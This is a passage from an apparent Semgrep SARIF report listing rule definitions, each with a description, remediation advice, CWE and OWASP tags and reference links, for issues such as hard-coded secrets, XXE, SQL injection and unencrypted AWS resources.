(HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","id":"csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","name":"csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","id":"scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","name":"scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","id":"java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","name":"java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","id":"kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","name":"kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted."},"help":{"markdown":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.uri.http-url.http-url)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.uri.http-url.http-url","id":"cpp.lang.security.uri.http-url.http-url","name":"cpp.lang.security.uri.http-url.http-url","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.uri.http-url.http-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","id":"java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","name":"java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes."},"help":{"markdown":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attributes.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attributes.rb)\n","text":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","id":"ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","name":"ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve)\n","text":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","id":"python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","name":"python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","id":"python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","name":"python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts."},"help":{"markdown":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active)\n - [https://cwe.mitre.org/data/definitions/778.html](https://cwe.mitre.org/data/definitions/778.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_function#mode](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_function#mode)\n - [https://docs.aws.amazon.com/lambda/latest/dg/services-xray.html](https://docs.aws.amazon.com/lambda/latest/dg/services-xray.html)\n","text":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","id":"terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","name":"terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","MEDIUM CONFIDENCE","OWASP-A09:2021 Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","id":"terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","name":"terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","id":"kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","name":"kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument."},"help":{"markdown":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to)\n - [https://brakemanscanner.org/docs/warning_types/link_to/](https://brakemanscanner.org/docs/warning_types/link_to/)\n - [https://brakemanscanner.org/docs/warning_types/link_to_href/](https://brakemanscanner.org/docs/warning_types/link_to_href/)\n","text":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","id":"ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","name":"ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","id":"ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","name":"ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'."},"help":{"markdown":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode)\n","text":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","id":"ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","name":"ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE."},"help":{"markdown":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository#image_tag_mutability](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository#image_tag_mutability)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n","text":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","id":"terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","name":"terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data 